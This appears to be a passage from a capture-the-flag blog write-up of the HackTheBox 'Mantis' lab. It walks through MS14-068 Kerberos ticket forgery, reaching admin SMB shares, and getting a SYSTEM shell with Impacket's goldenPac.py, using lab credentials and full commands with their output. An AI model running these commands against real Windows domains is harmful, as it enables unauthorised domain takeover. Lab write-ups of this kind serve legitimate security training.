[*] 10.10.10.52:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250422185235_default_10.10.10.52_mit.kerberos.cca_512672.bin
[*] Auxiliary module execution completed

It’s important to note tho that the FQDN is really important, and the exploit did only work because of the following entry on my /etc/hosts file:

1
10.10.10.52 mantis htb.local mantis.htb.local

The USER_SID portion of the exploit can be obtained through many ways really (ldap queries or even via SMB I guess), but as I already had the Bloodhound output data processed in hands, I just searched for “james” and grabbed his SID like that:

image.webp Fig. 07: BloodHound user detail view displaying James’s SID (S-1-5-21‑…‑1103).

Then I created a directory in my current working directory named “forged-tickets” and copied the output file at /home/user/.msf4/loot/20250422185235_default_10.10.10.52_mit.kerberos.cca_512672.bin to ./forged-tickets/james:

1
2
$ mkdir forged-tickets
$ cp /home/user/.msf4/loot/20250422185235_default_10.10.10.52_mit.kerberos.cca_512672.bin forged-tickets/james

This is how the ticket looks like when describing it using describeTicket.py from Impacket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ describeTicket.py forged-tickets/james 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 2
[*] Parsing credential[0]:
[*] Ticket Session Key            : a413f31e1828761fcefca430b70da72d
[*] User Name                     : james
[*] User Realm                    : HTB.LOCAL
[*] Service Name                  : krbtgt/HTB.LOCAL
[*] Service Realm                 : HTB.LOCAL
[*] Start Time                    : 22/04/2025 18:52:32 PM
[*] End Time                      : 23/04/2025 04:52:31 AM (expired)
[*] RenewTill                     : 29/04/2025 18:52:31 PM
[*] Flags                         : (0x50a00000) forwardable, proxiable, renewable, pre_authent
[*] KeyType                       : rc4_hmac
[*] Base64(key)                   : pBPzHhgodh/O/KQwtw2nLQ==
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/HTB.LOCAL
[*]   Service Realm               : HTB.LOCAL
[*]   Encryption type             : rc4_hmac (etype 23)
[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied

I exported the correct variable to use the ticket:

1
$ export KRB5CCNAME=./forged-tickets/james

And, as you can see from the netexec output below, I could use the forged ticket to access the SMB server as james, but the server thinks I’m Administrator, because they gave me READ/WRITE permissions over the C$ share:

1
2
3
4
5
6
7
8
9
10
11
$ nxc smb mantis.htb.local --use-kcache --shares
SMB         mantis.htb.local 445    MANTIS           [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         mantis.htb.local 445    MANTIS           [+] HTB.LOCAL\james from ccache (Pwn3d!)
SMB         mantis.htb.local 445    MANTIS           [*] Enumerated shares
SMB         mantis.htb.local 445    MANTIS           Share           Permissions     Remark
SMB         mantis.htb.local 445    MANTIS           -----           -----------     ------
SMB         mantis.htb.local 445    MANTIS           ADMIN$          READ,WRITE      Remote Admin
SMB         mantis.htb.local 445    MANTIS           C$              READ,WRITE      Default share
SMB         mantis.htb.local 445    MANTIS           IPC$                            Remote IPC
SMB         mantis.htb.local 445    MANTIS           NETLOGON        READ,WRITE      Logon server share 
SMB         mantis.htb.local 445    MANTIS           SYSVOL          READ,WRITE      Logon server share

I could connect to the C$ share using smbclient:

1
2
3
4
5
6
7
8
$ smbclient -k //mantis.htb.local/C$ 
WARNING: The option -k|--kerberos is deprecated!
Try "help" to get a list of possible commands.
smb: \> ls Users\Administrator\Desktop\
  .                                  DR        0  Mon Feb  8 12:44:00 2021
  ..                                 DR        0  Mon Feb  8 12:44:00 2021
  desktop.ini                       AHS      282  Thu Aug 31 21:27:05 2017
  root.txt                           AR       34  Tue Apr 22 18:38:51 2025

With the working ticket I could also obtain a privileged shell using something like psexec.py or smbexec.py. However, the easiest way by far to exploit this vulnerability is by just using goldenPac.py (all three of the scripts are from Impacket toolkit):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ goldenPac.py 'htb.local/james:J@m3s_P@ssW0rd!@mantis'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.....
[*] Found writable share ADMIN$
[*] Uploading file sjYxaPFE.exe
[*] Opening SVCManager on mantis.....
[*] Creating service gaHg on mantis.....
[*] Starting service gaHg.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

It does all the job for us, forging the ticket, and obtaining a privileged shell. Sweet.

Wrap Up

This box really pushed me beyond the usual web + creds combo. I had to dig into IIS shortname exploitation, understand Kerberos tickets at a deeper level, and troubleshoot service ticket reuse. Also, MS14-068 isn’t a “click-and-go” vuln — you need the SID, valid creds, FQDNs, and the right tooling. It’s messy, realistic, and exactly the kind of challenge that makes you better. Mantis definitely earned its “hard” tag.

This post is licensed under CC BY 4.0 by the author.